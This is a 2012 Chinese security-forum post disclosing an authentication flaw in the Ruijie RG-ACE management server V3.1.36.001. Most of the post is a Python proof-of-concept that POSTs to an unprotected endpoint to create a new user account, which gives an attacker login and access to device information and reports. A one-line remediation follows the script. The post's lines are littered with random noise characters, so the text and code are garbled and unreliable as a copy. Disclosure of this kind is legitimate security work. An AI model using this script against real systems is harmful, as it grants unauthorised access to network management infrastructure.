找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2128|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)8 O# z8 m. t$ V! T
0 V. L' O4 ^: u- o- v
- ]" z4 K. y6 Z5 i- u, G, R
测试的具体版本是+ J' u; Z+ z+ M% G9 Z
产品名称: 锐捷应用控制引擎8 r% j2 L% L- n+ F0 c' {. ~  _
版本号: 3.1.36.001 TC
& C4 F  _4 J6 X& o; p, \编译时间: 201104291730! g* a, X" r  \9 O) j% ]

; g" J  T$ \1 H
- ~2 `5 H! J+ M6 D/ E# z, _漏洞证明:
$ r! }2 }) _' [5 d# p
! X+ r6 z* @; c# h  s8 E8 l* K; L! u4 x6 x! U: {
* R; l+ {$ k9 A: k4 M

& X1 Z1 W, \* _" {8 y' X
+ i( L; ]; T. @- W
  u0 R* q; z- f3 S& G执行脚本4 D9 a/ H( U8 L. C9 F5 B3 o
#! /usr/bin/env python
% S7 ~8 q, B0 f#coding=gbk" T' X+ Q+ e: u9 C
#RG-ACE管理服务器 V3.1.36.001
9 m. f  K" f4 f# ]# @% Z' Z% simport urllib2, urllib,cookielib
/ v# X9 I# O# s5 ]/ q5 n- G& q6 S/ durl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
9 E5 Y' c1 p$ G" eopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))% [/ R/ ]' t$ _9 d2 |( C
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]8 A; I# O+ }4 ~/ h- i1 {% x/ ^
post=(("event","userManager.doInsertUserInfo"),
+ A# S2 z8 O. R6 z("useractionname","addButtonValue"),
5 i* e( n7 W7 ?( H("useropermanager","userManager"),
0 Q8 _$ O" s/ L' u4 U- Y("userName","t"), #######账号自己加
9 p6 w) U6 s& f& v) O("pwd","aaaaaa"),######密码自己加
2 _8 P( [5 E! h: }1 E  y("trueName","ad"),- X9 W& n* n% z5 L" `' _8 }$ s
("email",""),& L7 d# _5 S9 Q5 T* y% z
("mobilePhone",""),7 _$ V; J9 K  f' a; r3 {# Z
("officePhone",""),  p- l3 T9 q" `0 B8 W2 l
("addr",""),
/ {& N3 o! v0 N: a5 F" k# Q("submit","确定"))7 `  @* F% Y1 y: j  B3 G
urllib2.install_opener(opener)
+ G) X5 m2 A& Q+ z7 s7 t- bp=urllib2.urlopen(url, urllib.urlencode(post)).read()
8 a- x( F5 k) m" F- M+ V4 Uprint "Done"( O3 ?' I7 u4 C0 }  N, H$ a
) J8 Y- ~1 F3 ]/ E8 O# l& G
登录,连接设备6 b5 D0 _; l9 A% y
3 n) M+ D, u+ r

( D! n5 D  R* \4 N" K" H
5 U+ g6 q4 Y: G5 g4 G/ j% ?( X

0 Q$ ?3 P, ?) f% Z3 _* f8 \0 ?! Q默认的管理员admin权限更大点- s0 {, ~$ Y8 g3 W

  B1 t2 @& C0 t  h( `  Z3 o+ Z/ ]( v7 `- z& u

( ~' V) r: }7 x - _9 A" D+ t3 J6 A4 i* Y# J2 Q
. |% [$ C" J) o( |& e  y
修复方案:
1 a0 ~* h# v3 C8 b- J加强对接口的权限验证
8 v0 |$ Y  J! ^. B0 S& g4 c
9 a/ @$ `, h( h: n$ G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表